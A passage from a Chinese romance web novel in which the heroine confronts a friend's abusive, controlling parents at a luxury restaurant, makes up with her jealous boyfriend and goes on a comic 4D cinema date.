这是时代的局限,白绯觉得不能去苛责,毕竟她们在那个年代敢为天下先,已经是非常非常了不起的人了。王阿婆幸运地跑赢了时间,来到了女性崛起的年代,白绯必然不会让她也落得那般下场。
“阿婆,只要你愿意,以后这里就是你的家。”她握住王阿婆的手,宽慰道。
老人抹了抹眼角的泪,低低地应了声。
小施有些不好意思参与女孩子们的对话,身为一名正常的男性,他有时是真为自己的同类感到羞耻。
好在她们很快到了商业街,祝临川停下车,问道:“奶奶,你有什么忌口没?”
小施和陈安夏也很照顾王阿婆,主动提出要不去找家潮汕粥店,清淡营养又好消化,适合老人家的胃口。
然而王阿婆不愧是那个泡遍全球的女人,中气十足道:“没事,俺这口味,跟你们年轻人一样,就爱吃那有味的。汉堡、奶茶、螺蛳粉,俺都爱吃!来点小龙虾也不错啊!”
在场几人也已经习惯了这位走在时代前沿的老太太奇特的画风,于是一行人最后走进了一家四川火锅店。
王阿婆果然如她所说,火锅涮得十分熟练,甚至还给大家都调了一份她独创的秘制蘸料。要不是缺了牙影响了她的发挥,真的与当下年轻人没什么两样。吃到兴头上,她甚至还喊服务员上了一扎冰啤。
等到吃累了,大家都摊在座位上放空。
王阿婆把手伸进裤兜,颤颤巍巍地掏出了最新款苹果87,当着众人的面,点开了一个熟悉的图标。
几分钟后,游戏角色的呼喊伴随着技能释放的华丽音效,让在座几人意识到,你奶奶果然是你奶奶。
“Doublekill!”
“Triplekill!”
“Unstoppable!”
白绯捂着脸把自己埋在了祝临川肩头。
祝临川偏头,担心地看着她:“怎么了,不舒服?”
他正想伸手去扶,就听到白绯痛苦的小声呢喃:“不行,太潮了,我都只会玩玩消消乐而已,到底谁才是82岁啊,我才是那个82岁的吧?"
祝临川愣了一下,没忍住笑了。
酒足饭饱后,安夏和小施各自回了家,王阿婆站起来活动了两下胳膊和腿,看起来精神头还很足。白绯缓过站起来后的眼前一黑,颤巍巍地搭着祝临川的手,跟在王阿婆后面回了停车场。
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等一切收拾停当,已近深夜。白绯最后去楼下检查了下门窗,路过王阿婆的房间,隔着房门听到她香甜的鼾声,看来是已经进入了梦乡。
她哭笑不得地用手捶着后腰,和祝临川吐槽道:“能吃能喝,精力十足,我们这些年轻人啊,各个都脆皮,是真比不上人家老太太喽。”
她扑通一声把自己砸上床,双手托腮冲落地灯边的祝临川吹了个流氓哨,撒娇道:“美人儿,给我来个马杀鸡呗,别,不用穿,嘿嘿~”
刚才还嚷嚷着累,搞起涩涩来却又精神百倍。
祝临川收回了去拿睡衣的手。他才刚洗漱完,头发还湿漉漉的,仅在腰间围了一块浴巾,暖黄的光线给他的身体镀上一层蜜蜡的色泽。他最近看起来又结实了不少,大概是受方瑜的刺激,见缝插针地撸铁,肌肉都变大块了不少。
他们搞雄竞,倒是让白绯享了福。她乐呵呵地看着祝临川起身走来,发梢的水珠随着他的动作滴落,一路蔓延过胸肌腹肌,最后奔向令人遐想的浴巾边缘。然而散发着魅力的本人却仿佛好无所觉,只是公事公办地单膝跪在床上,板着脸开始给白绯揉捏酸胀的小腿。
又纯,又欲。
白绯直起身,伸出手去勾祝临川的下巴,却被他偏头躲开。她一开始还以为只是对方在和她玩情趣,直到祝临川第五次轻轻拍开她在自己身上勾勾缠缠四处点火的手,白绯才知道,事情不对劲。
果然,祝临川垂着眼眸开口了。
“你想好借口了吗?”
白绯愣了会儿才反应过来这是小楼院门外那场对话的延续。这下,她是什么心思也没了。果然是色字头上一把刀啊,早早睡了多好!这下好了,要是解释不好,今晚只怕都别想睡。
“哈?什么借口,宝贝,别说这些有的没的了,春宵苦短...”
白绯企图色诱,向祝临川腰间探去,然而祝临川这次显然是铁了心了,伸手牢牢护住了浴巾的结扣,眼神正直得像要入党。
“好吧...”白绯眼神飘忽,蚊子哼哼般将事情原委都一一交代。至于假扮一日女友的事,白绯有过一瞬间的犹豫要不要坦白,但最后还是没有藏着掖着,通通说了个明白。
偶像剧里不是都那么演吗?第二天,男主意外撞见女友和小三,当场情绪崩溃,哭泣离开时被路上醉驾的司机撞上天;或者男主不愿意听解释女主又像是没长嘴,二人因为这个误会从此天各一方,直到多年后男主功成名就,回国算账...
白绯被自己的想象雷了个外焦里嫩,小嘴叭叭地通通吐露个干净。
等她说完,房间里陷入了诡异的沉默。祝临川的手依然不轻不重地替她揉捏着小腿,眼睫低垂着,遮住了他眸中的情绪,然而周身却散发着哀怨的气息。
白绯紧张地咽了口口水,小心翼翼地开口打破了沉默:“宝贝...你怎么不说话?是在生我气吗?”
祝临川揉捏的动作顿了顿,随后又恢复了之前的节奏,他喉结滚动,声音低沉,带着刻意压平的调子:“没有。”
很好,那就是有了。
76. 纯科技零天然
“宝贝...别这样嘛~我错了还不行?”白绯边探头去看祝临川的表情,边夹着嗓子撒娇。真是堕落了,没想到有一天竟然会为了哄男人做夹子。
祝临川躲不开她的骚扰,终于停下了揉捏的手,缓缓抬头:“你错哪儿了?”
“全错…”白绯企图蒙混过关,然而话却哽在了喉咙里。因为祝临川终于直视她,因此,白绯才得以看清那双眼眸下极力隐藏的受伤和脆弱。
“你没有错,错的是我才对。”祝临川看着白绯手足无措的样子,低下头再次开口,声音却带着一种固执的澄清,看起来比起说服白绯,更像是在说服他自己:“我有什么资格生气?你是独立完整的成年人,有权决定做什么或者不做什么...我不能像个无理取闹的妒夫,这样...这样,会被你讨厌的吧?”
白绯被他话语中小心翼翼的卑微刺伤,心里涌上强烈的自责,起身轻柔地环抱住祝临川,将他的脸按在自己的颈窝,:“傻瓜...唉,你怎么这么傻?你是我男朋友,你不吃醋,我反而要怀疑你是不是移情别恋了。好了好了,不要胡思乱想了好吗?”
白绯捧起祝临川的脸,强迫他看着自己,眼神认真而恳切,“你说,你要怎么才会原谅我?只要你说,我都答应。”
她是真的做好了哪怕割地赔款的准备,然而祝临川的回答却让她惊讶之余更加感动。
只见祝临川抬起头,目光在白绯脸上逡巡,带着不容错辨的担忧和恳求:“我只有一个要求,就是你一定要将自己的安全放在第一位。只要你做到这个…我就原谅你。”
白绯的心简直软成了一汪春水,酸涩又甜蜜。
她砰砰拍着胸脯保证:“你放心,明天我会带上王阿婆一起。我答应你,一定保护好自己,也不会忘记自己是你的女朋友这个身份。”
祝临川并没有被说服,他眉头皱了皱,惊讶道:“带上王阿婆?她到底年纪大了,不用你反过来保护她就不错了。要不还是我明天请个假吧,你不要误会,我不是想要监视你或者不相信你..."
祝临川显然对王阿婆的战斗力很不放心,然而白绯却只狡黠地笑了笑:“孩子啊,你还是太年轻。放心吧,王阿婆一个人少说也顶得了一队脆皮大学生呢...比起这个,春宵苦短,今天让我来..."
祝临川被她缠得没法子,只一再叮嘱白绯,出状况一定要一定时间联系他。
白绯自然一口答应。祝临川心知白绯不是那不靠谱的人,最终便也没再多说,半推半就地从了。
第二天,白绯按照叙白发的信息,十点准时出门,在小楼门口看到了倚在车边的叙白。随着引擎发出低吼,车辆逐渐汇入早高峰末尾的车流。
白绯坐在副驾,敏锐地发现了叙白身上的紧绷。他紧握着方向盘,指关节因为用力而泛白,目视前方,嘴唇紧抿成一条僵硬的直线,再也没了平时的游刃有余,反而像一张拉满到极致的弓,也许下一秒就会断裂。
很难想象吧,一个放浪到能在博物馆当众下跪求欢的人,竟然也会受到父母的制裁,难道这就是所谓的血脉压制吗?
白绯虽然还没生儿育女,但也听过一个说法,那就是熊孩子一定是家里病得最轻的那一个。她偏头看了眼叙白这个超大号熊孩子,他长成如今这副扭曲的模样,想来也与他扭曲的生活脱不开关系吧。
“医者不自医,你也该去看看心理医生。”白绯诚恳地劝说道,一点嘲笑他人苦难的意思都没有。任何人的苦难都不是值得说笑的谈资,即使他是个无恶不作的大坏蛋。但当然,苦难也绝不是作恶的理由,一码归一码。
“钱是挣来干嘛的,不就是这种时候派上用场的吗?”白绯循循善诱,是真心希望他能从这个纠缠多年的噩梦中解脱:“对了,顺便也请个律师吧,拿起法律的武器保护自己好吗?可别告诉我你心里还没断奶,宁可受那虐待也没勇气重新开始。”
叙白的喉结滚动了一下,没有看她,只是自嘲地笑了笑,低低嗯了一声:“我知道,谢谢你。”
白绯摆摆手,靠在椅背上开始闭目养神:“只要你能走出来,也不枉费我忙活这一场了。”
餐厅是叙白父母订的,位于A市著名商业中心顶层。若是夜晚来此就餐,还可以俯瞰城市最璀璨的夜景。
餐厅装修考究,水晶吊灯折射出奢华的光芒,侍者个个腰身笔挺,带着得体的笑容,将白绯二人引进了包厢。
叙士诚和韩筌夫妇早已落座,二人身着高定套装,无论是腕间的名牌手表,还是脖颈上亮瞎眼的祖母绿大宝石,都透露着一个信息,那就是老子很有钱。
当叙白和白绯一走进房间,这对贵不可言的夫妻立刻就将鹰隼般的目光对准了白绯。若是换个柔弱点的小姑娘,只怕当场就要被吓得手足无措,进退不得了。
既是长辈,又是恋人的父母,还是社会上事业有成的名流,buff简直叠满,一般人只怕都会被他们上位者的气势唬住,束手束脚甚至自惭形秽了。
然而白绯见惯了生死,她早就明白,功名利禄最后也不过是一场空,谁的骨灰也不比谁金贵。更何况,财富地位也不会通过对上位者的崇拜与谄媚传递。只要你自己足够强悍,人脉自然就来了,不然汲汲营营,左也不过是互相利用罢了。
于是叙士诚夫妻就看到儿子带来的女人冲他们淡淡地点了点头,叫了声“叔叔阿姨,你们好”,然后就坦然地一屁股坐在了椅子上。
天知道连这声招呼都是看在叙白的面子上,不然白绯可能直接开口叫他们老不死了。
韩筌不满地啧了一声,率先发难了。她步入中年,却保养得宜,眼角眉梢都是养尊处优的矜贵,嘴角带着温和的笑意,说出的话却不客气:“这位就是白小姐吧?果然人间绝色,难怪我家叙白愿意为了你,拒绝李董事长的千金,最近还越发叛逆,连父母的话都不愿意听了。”
这话,就差指着白绯的鼻子骂狐狸精了。
白绯屁股坐得很稳:“谈恋爱又不是做生意,攀比个三六九等,择优取胜。阿姨,我们现在已经不流行雌竞了,追求的就是一个情投意合,互相扶持,也免得到头只能同富贵不能共患难,大难临头各自飞。啊~”
她娇滴滴地惊叹一声,茶茶地捂住自己的嘴,当面挑拨离间:“阿姨,我可没有说您和叔叔只是利益夫妻的意思哈~”
韩荃没想到她攻击力这么强,愣了一瞬。
白绯却还没有收手的意思,她淡定地呷了口茶,继续拱火:“更何况,我们叙白年纪轻轻就能拼出一番事业,脑子自然好使得很。如果叔叔阿姨说的话有道理,那么他自然会听。我倒是觉得,也许叔叔阿姨偶尔也该反思反思自己说的话呢~”
韩筌嘴角不悦地勾起,端着茶杯的手青筋攥紧,差点维持不住脸上的表情。她久
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居高位,已经多年不曾被如此当面顶撞,一时竟有些不知如何是好。
另一边的叙士诚嗤笑一声,拍了拍韩荃的后背稍作安抚。他是一个长相威严的男人,很有气势。
白绯很奇怪,这么一对古板刻薄的夫妻竟然能生出一个多情贵公子。
叙士诚收回手,带着挑剔和审视看了白绯一眼,偏头对沉默不语的叙白道:“你倒是找了个人物。”
叙白的身形有些紧绷,脸色苍白,放在桌下的手紧握成拳。他感觉身上的鞭打伤痕又开始隐隐作痛,还有他的胃...
虽然此刻,包厢里飘荡着昂贵的香氛和食物的香气,然而他却只觉得反胃。
突然,手背上传来暖意。是白绯,她借着桌布的掩盖,安抚地在叙白手背上轻轻拍了拍。
可怜的,白绯看着跟鹌鹑似的叙白,心想,你看,连话都不敢说了。
她有心想给叙白找回场子,但想到叙白的计划,也只能意犹未尽地咂咂嘴,暂且忍耐下来。反正这俩烦人精明天就出国了,接下来眼不见为净。
好在叙士诚也没有继续斗嘴的意思,率先拿起了筷子,结束了这场硝烟四起的谈话:“吃饭吧。”
话音刚落,白绯兴奋地拿起了刀叉。虽说吃饭的对象不太对,但她还是对这顿饭抱着很大的期望的。
据说这家餐厅可是会员邀请制,没一定身份的人还进不来。并且里面的菜品出了名的贵,动不动就好几个零,白绯还真有些好奇到底是什么味道,才能开出这样的天价。
然而等她挨个品尝了一遍后,却只剩下怀疑人生。叙士诚夫妻的下马威没能剥掉她一层皮,倒是这些纯科技零天然的菜品让她吃得生无可恋。
首先,所有的盘子都非常大,但份量却少的可怜,白绯感觉也就自己一口的事。
其次,这些菜品的造型虽然十分精美,然而口味却十分猎奇。一口下去,要么食之无味,要么酸甜苦辣咸十分混乱地搅和在一起。
白绯看着面前的菜品。只有一片莲藕但口味十分家常的莲藕汤,种在土里但看着都有些干巴的甜笋刺身,还有打成泡沫的齁嗓子的分子料理饮品,还有浇了粉色绿色酱料的糊嘴的要命的非转基因有机大豆豆皮...
当服务员最后端上一份夹着石斛苗核桃白菜牛蒡的所谓卷饼之后,白绯终于忍不住重重叹了一口气。
她面带同情地小声和叙白蛐蛐:“难为你了,难怪都说大少爷会爱上带他吃路边摊的女生,你小时候都过得什么日子啊?到底为什么要花这么大钱吃草?我们是在逃荒吗?还真得感谢这些餐厅不坑穷人啊!”
叙白原本就没怎么动筷,只低着头不知道在想什么。他偏头看着白绯这副委屈的样子,心里蓦地就轻松起来。
他微微倾身凑近,语气中带着自己都没察觉的笑意:“其实...我也觉得很难吃。”
白绯撅起嘴,捂着自己的肚子小声抱怨:“早知道早饭多吃点了!还以为这家餐厅多好吃,特意空着肚子来的呢!”
叙白嘴角的笑意不由自主地扩大,在她耳边道:“等会儿结束,我请你吃烧烤。”顿了顿,他又补充道:“不是米其林的烧烤。”
他们二人在这厢窃窃私语,叙士诚夫妻在对面都看在眼里。
韩筌大概在这顿菜品中获得了足够的能量,不满地看着旁若无人的二人,放下刀叉开启了第二轮交锋。
77. 做泼妇有什么不好
“白小姐在哪里高就?”韩筌优雅地拿起餐巾揩了揩嘴角,带着冷冰冰的假笑看着白绯,“父母是做什么的?”
白绯放下刀叉,对眼前的奇葩菜式彻底失了兴趣。面对着对面四道宛如评估商品般的冷漠眼光,哪怕桌上的是山珍海味,只怕也很难有好胃口。
她放松地靠坐在椅子上,目光不躲不闪地直视着韩筌:“父母开了个小公司,主要业务是替客户异地置业,也承接快递业务,我在他们公司里帮忙。”
“噗嗤...”叙白抿着嘴憋笑,偏头看了白绯一眼。
白绯侧头挑眉回视,怎么,她说的哪里不对嘛?卖墓地可不就是替客户在阴间置业,还有做纸活烧给逝者,不就相当于送快递吗?出门在外,身份都是自己给的。
叙士诚意外地挑了挑眉:“令尊业务跨度倒是不小...”
他双手交叉撑在下颌,脸上是不加掩饰的傲慢与不屑,眼神如鹰隼般锐利:“叙白应该和你说过吧,我们叙家也有一家上市公司,规模倒也不小。所以叙白他早晚是要继承我的衣钵的。”
白绯在心里吐槽,虽然叙白根本没和她说过,是她自己偷偷调查的。但这话还确实没法反驳,他家确实有皇位要继承。
叙士诚丝毫不知白绯的心理活动,还在侃侃而谈:“孩子还小,愿意开那劳什子的心理咨询工作室玩玩,我们也无所谓。反正有的是钱,只是玩玩,终归只能是玩玩,最后终归要回到正途。白小姐,你是聪明人,挤不进的圈子不能硬挤,不知道这个道理你父母有没有教过你。若是没有,今天我就替他们教了。”
叙白脸上的笑容淡了下去,皱着眉头开口道:“爸,不是说好今天只是吃顿饭...”
一直以来,他的人生从来不是自己的。穿什么衣服,看什么书,交什么朋友...无论大事小事,每一个选择,都被父母以“为你好”的名义决定。仿佛他不是一个有血有肉的人,而是一件作品。完美的履历,完美的举止,一件精心雕琢、完美展示的成功作品。
不是没有过反抗,但每一次绝望的呐喊都会被血与泪残酷镇压,直到身体连同灵魂被一起驯化,即使笼门敞开,也忘了飞翔的本能。
叙白自嘲地笑笑,隔着西装的布料摸到了硌着自己腿的药瓶。他不该拜托白绯来的,为什么到了最后,都还想着以顺从换回片刻的喘息呢?如今,自己难堪便也罢了,还让白绯也无辜陷入这般境地...
他想起祝临川,那个父母双亡的孤儿,明明处处都不如他,却一步步逆天改命,把想要的东西都牢牢抓在了手里。果然还是自己太懦弱,才什么都争不到吗?
不,叙白的眼中有厉色一闪而过,错的不是我,是这个世界!暴虐的欲望从内心深处席卷而来,让他的眼球都有些充血。眼中的世界开始扭曲,耳边是震耳欲聋的心跳声,直到,一道清亮的嗓音穿过血液冲脑的轰鸣声,传到了他的耳中。
“不是你的圈子别硬挤,原来叔叔你也明白这个道理啊,不错不错。”白绯啪啪拍了两下手掌,在叙士诚愈发阴沉的注视下也丝毫不怵。她又不是叙士诚公司的员工,拿他发的工资活命,凭什么要给他脸?还敢阴阳自己没教养,我呸!这种华国传统老登是真的很懂怎么戳人肺管子,短短几分钟就让白绯火直冒。三言两语否定了叙白的人生与成就,言谈间全是自以为是,仿佛叙白只是他的提线木偶,而不是有自己想法的人。
“叔叔啊,现在是我们年轻人的时代了。你和阿姨手也别伸太长,实在闲得无聊,就去跳跳广场舞得了,少拿大家长那一套来唬人哈。咱们现在年轻人的圈子,讲究的就是一个自由、随心。没有什么应该不应该的,只有想不想做、喜不喜欢做。叙白愿意继承公司也罢,继续开工作室也罢,还有谈什么样的女朋友,这都是他自己的事,该由他本人来决定。叔叔,想卷就卷自己,别生了孩子就在家里当皇帝。至于打是亲,骂是爱这一套早就过时了,家暴可是违法的哦~”
白绯顿了顿,目光扫过叙白挺括西装下掩盖着的新鲜鞭痕,到底还是没忍住,拖长了腔调阴阳道:“要是真有那老古董想不通家暴,我倒是不介意做个热心人,让他知道什么是国法呢~”
真正的家人,怎会让叙白带着一身伤来吃这顿饭。这样的家人,不要也罢。
韩筌脸色大变,显然没想到叙白竟将这事都告诉了白绯。虽然他们并不认为自己教训儿子有什么错,但到底是家事。叙白不是一直很要面子,谁都瞒着,难道他竟然爱这个女人到这个地步?
叙士诚显然也没想到,恼羞成怒下,扬起手就要朝白绯扇过来:“泼妇!”
“爸!”叙白目眦欲裂,想也不想就扑了上去。
趁着二人缠斗,白绯果断把手伸进口袋里按下了早就编辑好的短讯,同时眼观六路耳听八方,灵活走位避开了想来抓她的韩筌,甚至还有余力做了个鬼脸:“我就是泼妇,做泼妇能保护自己又能保护别人,我看挺好!”
紧跟着她蛇形走位到门口,狠狠一脚踢开了包厢的大门。下一秒,雄浑的喊声响彻整个大厅,余音绕梁,荡气回肠,“服务员!叫你们主厨过来,叙总对菜品很不满意!”
韩筌没想到她会做出这样的举动,一下子僵住了。眼看着人逐渐往这边聚集,叙士诚也赶紧松开了手,开始故作淡定地整理着装。
白绯得意一笑,她就知道这种社会成功人士偶像包袱特别重,果断趁这个机会抓着叙白的手腕就往外走。
“叔叔阿姨,你们和主厨慢慢谈哈~做这么难吃,我都想做个餐厅判官好好训训他们,拿人当日本人整吗..."
叙士诚狼狈地整理散乱的领带,低声怒吼道:“给我站住!叙白,你当真是反了,竟然还敢还手..."
韩筌眼里含着泪,也失望地看着叙白:“叙白,这么多年的教诲,我看你是全忘了个干净。愣着干什么,还不快过来认错!”
白绯敏锐地察觉到叙白的动作僵硬,索性站在他身后把人往外推:“认个屁错,走走走..."
叙士诚加快脚步跟了上来,在后面小声怒吼:“叙白,明天就跟我出国!你才认识这女人几天,就变成这个样子!我不能让你继续留在国内被这种不三不四的东西荼毒..."
正纠缠间,门口突然传来一阵吵闹声。白绯欣喜地往外看去,太好了,是PLANB!
果然,她往侧一步,在叙白背后与门口的小施与王阿婆看了个对
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眼。
王阿婆冲白绯挤挤眼,示意她放心,紧跟着嘴一张,就在门口嚎开了:“哎哟,后生仔,莫拦俺,俺是来找俺干孙子的,他就在里面呢!唉,你看,这不就是?”
叙白看着那根指着自己的皱巴巴的手指,一时有些发懵。这又是哪出?
叙士诚夫妻同样愣住了,哪冒出来的穷酸老太,怎么还成叙白干奶奶了?自己怎么还凭空多了个干妈?
“叙白,怎么回事?”韩荃嫌弃地看着王阿婆,跟看脏东西似的往后退了两步。
白绯趁众人愣神的时候,如倦鸟归巢般拉着叙白投入了王阿婆的怀抱。王阿婆丝滑地从口袋掏出手机,对着叙士诚夫妻就开始拍拍拍:“哎哟,原来这就是俺那未谋面的干儿子干儿媳啊,果然一表人才。俺啊,82岁喽,不知为什么和小白这孩子特投缘,只要他在身边,俺就吃饭也香了,觉也睡得好了。要是谁把他抢走,那就是要了俺老婆子的命,俺非得闹到媒体那儿去,就去最大的电视台大厅躺着,直到小白回来为止!不过啊,想来你们也不会这么为难俺一个老婆子对不对?来来来,难得团聚,拍个全家福…”
叙士诚捂住脸避开镜头,脸色难看极了。他想夺过手机,却被小施拦着,根本近不了身。
眼见情况愈发混乱,叙士诚心知不能再纠缠下去,不然明天怕是就要见报,到时候董事会可不会给他好脸色!他只能拉着韩荃就往外走,算了,这事也急不了。叙白现在对那个泼妇还新鲜,没准过段时间自己就玩腻了。就由他吧,现在当务之急是自己先脱身,别被这些脏东西缠上。
“叙白,你迟早会想明白,爸爸妈妈都是为你好。”韩荃恨铁不成钢地丢下一句,之后就气急败坏地被叙士诚拉走了。
一场闹剧就此结束,叙白甚至都没能反应过来。直到走出大楼,他都还有些发懵。
小施对着王阿婆星星眼:“阿婆,你也太厉害了!走进这么高级的地方我人都犯怵,更别提闯进去了!”
“嗐,年轻人就是死要面子,有什么好怕的,再高档也不过就是个吃饭的馆子而已。”王阿婆不以为然地摆了摆手,一副见惯世面的淡定。
她和小施在白绯进了餐厅后就一直在楼下待机,等待通知。由于白绯不想过多暴露叙白的隐私,所以她的说辞是叙士诚夫妻控制欲强盛,连叙白的交友都要干涉。她担心叙白被强制带走关禁闭,所以才叫上王阿婆以干奶奶的名义助阵,小施做护法,量他们顾及名声也不敢为难老太太。
果然是家有一老,如有一宝啊。
白绯也扒在王阿婆肩上嘤嘤嘤:“阿婆,幸好你来了,我一个人真的搞不定呜呜呜…你是不知道,他们差点吃了我!”
小施也感慨道:“没想到叙医生父母这么古板,连交个朋友都要干涉,控制欲也太强了吧?绯绯姐,他们不会还给你甩支票,让你离开叙医生吧?”
白绯张大了嘴:“我去,我怎么忘了还有这个情节!”
早知道就先装柔弱,让他们用钱砸死我了!啧啧,真是太可惜!
一行人在前面打打闹闹。走着走着,白绯突然发现叙白没有跟上来。她奇怪地回头,就看到叙白正捂着脸,沉默地站在原地。
78. 淋雨一直走
“你怎么了?”白绯后退几步,走到叙白身边担忧地问道:“是不是今天闹太过了?对不起啊,我实在是听不得他们那样子否定人的一切。”
“不,不会。是我该谢谢你,不然只怕连最后的清净都要被夺走。”叙白摇摇头,捂着脸看不清表情,情绪听着倒还算平稳。
白绯尴尬地挠了挠下颌,正在纠结是不是该离开,好留给叙白一点独处的时间,耳边却突然传来低低的笑声。
白绯被唬了一跳,四处张望了一圈后才发现竟然是叙白在笑。
完了,这是刺激大发了吗?
叙白捂着脸,笑声越来越大,就在白绯都有些怀疑他是不是也终于心理崩溃的时候,叙白又沉默下来。
白绯看着他孤零零站在那儿,身形消瘦,不知为什么心里竟觉得有些同情。
她的视线停留在叙白露在手掌外的下半张脸上,看着看着,她突然发现上面竟然有水珠滑落。但很快她就分不清了,因为冰凉的水珠也落在了她的头上。白绯仰起脸,直接被瓢泼的大雨兜头浇了一脸。
不远处传来小施的惊叫。白绯隔着磅礴的雨势,看到他提溜小鸡仔似的夹着王阿婆跑去前头避雨了。
白绯也想走,然而叙白却站在原地没有动弹的意思。雨水很快打湿了两人的衣服,白绯感觉自己像只狼狈的落水狗。
她又陪着叙白淋了一会儿雨,在路人再三投来疑惑不解但尊重的目光后,终于还是忍不住开口了:“那个...实在不好意思打断你伤感了,要不我们还是去躲躲雨吧。”
白绯试探着伸出爪子轻轻拍了拍叙白的肩膀,言辞恳切地劝说道:“我知道你现在很难过,但你先别难过。我懂的,人在悲伤的时候会想淋雨,就像偶像剧里演的那样。但是啊,我劝你还是不要继续淋下去了。雨水其实超级脏啊,尤其现代社会污染还那么严重,淋场雨没准皮肤都能直接发炎,更何况你身上还有伤..."
手下的肩膀僵硬了一瞬,叙白沉默片刻,终于无心再伤感下去,放下手抬起头:“你说得对,我们..."
他通红的眼睛对上白绯的脸,下一秒直接瞳孔地震,表情扭曲:“你的脸..."
“啊啊,我知道...”白绯生无可恋地抹了把脸,已经顾不上脸上的彩妆会不会花了,因为已经有大量的黑色水珠正从她额角一路流下,她怀疑此刻的自己都可以原地参演咒怨。
她无奈地叹了口气:“早知道不涂发际线粉了!不许笑,喂!”
“哈哈哈..."叙白再次笑出声,然而这次倒没有之前笑得那么命苦了。
白绯先和祝临川报了平安,然后四人都先回家换了套干净衣服,由叙白做东,请着去了一家正宗的新疆烧烤。他还带了几瓶好酒,端着酒杯敬了王阿婆几杯。
白绯啃着滋滋冒油的羊肉烤饼,看着叙白当真叫了王阿婆好几声奶奶,还许下承诺,任何时候只要需要他,只管开口。
王阿婆慈爱地看着他,只笑眯眯地拍拍叙白的肩膀:“奶奶只希望你能好好享受自己的人生就好。”
叙白的眼神闪了闪,没说什么,只举了举手里的酒杯,又敬了王阿婆一杯酒。
眼见气氛正好,白绯纠结片刻,还是磨磨蹭蹭挪到了叙白身边,小声问道:“我这次算帮了你大忙了吧?所以,可以索要一点小小的回报吗?”
叙白低头,从他的角度,可以看到白绯鼓起的腮帮和油润的嘴唇,还有馥郁的白茶花的香气。
他嘴角不由地勾了勾,眉梢轻挑:“你说。”
“程莉莎的自杀和你到底有没有关系?”
叙白不语,只轻笑一声,回道:“你猜。”
白绯:拳头硬了。
叙白看她咬牙切齿地瞪着自己,脸颊鼓鼓就跟个河豚似的,心下痒痒,愈发想要逗弄她:“而且,你不是都和监督委员会举报了吗?”
白绯没想到他连这个都知道了,但是倒也不心虚:“哼,一码归一码,我们每个人都有监督罪恶行使正义的义务。”
她话头一转,到底还是不死心:“所以到底和你有没有关系?”
叙白只高深莫测地饮了一口杯中的酒,抿着唇不说话。
人家不肯说,白绯也没办法,只能气鼓鼓地在一边磨牙。
酒足饭饱之后,白绯和王阿婆回到小楼,祝临川果然留着灯在大厅等她。王阿婆很有眼力见,摆摆手就回了自己的屋子,给两个热恋中的小情侣留下独处的时间和空间。
白绯心中也软软的,她看着坐在暖黄灯光下捧着一本书在看的祝临川,恍惚间有种大概这就是家的感觉。都说爱是常觉亏欠,白绯也觉得这次的事确实让祝临川受了大委屈,于是便主动提出第二天一起去看电影。
祝临川受宠若惊,他与白绯的好几次约会都没能善始善终,最后总有些意外发生。他欣喜地点头应了,同时在心里祈祷,希望这次的约会能平凡普通地结束。
第二天傍晚,白绯一早就开车去了祝临川工作的法医中心。她抬起腕表看了眼时间,然后又翻开汽车内的化妆镜,最后确认了下脸上的妆容。
很好,看起来像素颜但根本不是素颜的素颜妆,每一根发丝都卷曲得恰到好处,能最大限度地突出她的美貌。她看似只是随意的装扮但其实每一处都是精心布置,要知道,白绯可是从午饭后就开始收拾自己了。
她满意地点了点头,拉开车门倚靠在车头,等待祝临川下班。没一会儿,一个熟悉的挺拔身影就从大楼内走了出来。
祝临川步履急切,脸上犹带着一丝工作后的倦怠,但这一切在看到白绯的瞬间就如冰雪般消融。
“来了。”白绯张开双臂迎了上去,给人一个温暖的拥抱,双眼亮晶晶的:“我们走吧,最近龙湖新开了一家4DMAX影院,还有温导最新恐怖片的排片,咱们去尝尝鲜!”
祝临川垂眸看着怀里的人,眼底浮起清浅的笑意:“好。”
龙湖不远,只是人头攒动,白绯在停车场转了好几圈才找到停车位。里边的顾客大部分都是恩爱的小情侣,尤其是顶楼的影院,售票处简直大排长龙。
白绯指着前方占据了半面墙的巨大海报,兴奋地对祝临川道:“就是这个,鬼妈妈!X门新X京已经有枪版了,但我一直忍着没看。幸好内地还是上映了,希望千万别删减啊!”
说起这个她就很无语,经常有这种情况,在正版网站花钱开了会员,
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看着看着却发现剧情不连贯,然后才顿悟原来自己看的是阉割版。或者更惨,期待了很久却发现全球遍地开花,所有同好都在讨论剧情和制作,只有自己这里没能过审,笑死,根本放不了。
售票员效率很高,很快就轮到了白绯他们。祝临川坚持买了票,还给她买了超大桶裹满金黄焦糖的爆米花和两杯冰镇橙汁。
白绯也没和他抢着埋单,笑眯眯地接过来,踮起脚在祝临川脸上啵了一口。
周围传来善意的哄笑声,俊男美女在一起,大家都只觉得养眼。祝临川的脸微微有些红,他抿着嘴控制自己不要笑得太夸张,然而修长有力的手掌却沿着白绯的后腰将她紧紧扣在了怀里。
“我们走吧。”
三小时后。
“呕,我不行了。”
白绯毫无形象地瘫坐在大厅的沙发椅上,精心整理的发型早已不复存在,简直和炸毛的三花一模一样。她颤巍巍地从小包里掏出化妆镜照了照,半晌才如释重负地叹了口气。
好歹保住了脸上的妆,没像昨天和叙白在一起时那样,直接花了一脸。天杀的,她是真没想到所谓的4D竟然是这样的。
灯光熄灭,巨幕亮起,随着低沉的、仿佛来自阴间的瘆人音效,扑面而来的是一股寒气。白绯还在疑惑难道坐在了空调口,屁股底下的椅子突然猛地一颤,差点直接把她人都弹出去。之后,座椅就开始不间断地、毫无规律地左右晃动,前后颠簸,并且再也没有停下来过。
白绯已经顾不上被撒出去大半的爆米花和橙汁了,双手牢牢握住椅子的扶手,连指关节都捏得发白。
这还不止,继刚才那阵莫名其妙的阴风后,伴随着画面上出现鬼妈妈给孩子烹饪煲仔饭的画面,白绯身前的冷风也随之变成了燥热滚烫的气流,烤得她脸皮都发干。她就这样随着剧情体验着冰火两重天,然而这还不够。
为了让观众值回票价,天才的设计师竟然还准备了其他惊喜。当荧幕上正播放到孩子们在雨中追逐鬼妈妈不忍她离去时,一片冰凉细密的水雾精准地从头顶浇了下来。
白绯:...
水珠顺着额发往下淌,电光火石间,她唯一还记得的就是牢牢护住自己的脸,不让昨天的悲剧重演。
整场电影下来,她根本顾不上害怕或伤感,连剧情都只看了个大概。脑海中唯一的念头就是希望屁股底下该死的椅子和脸前的冰火二重天能快点停下。
在她觉得自己都快吐了的时候,灯光终于亮起,白绯只觉得有种劫后余生的虚脱感。
